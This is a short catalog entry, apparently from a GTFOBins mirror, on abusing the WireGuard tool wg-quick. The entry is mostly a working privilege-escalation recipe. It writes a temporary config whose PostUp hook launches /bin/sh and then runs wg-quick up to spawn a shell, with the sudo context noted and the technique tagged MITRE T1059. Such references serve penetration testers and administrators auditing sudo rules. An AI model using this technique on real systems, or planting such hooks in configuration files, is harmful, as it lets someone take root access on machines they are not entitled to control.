CatalogGTFOBins

GTFO · Tool

wg-quick

1 techniqueLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux

Use `wg-quick down /path/to/temp-file.conf` in order to be able to run the shell again.

cat >/path/to/temp-file.conf <<EOF
[Interface]
PostUp = /bin/sh
EOF

wg-quick up /path/to/temp-file.conf
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059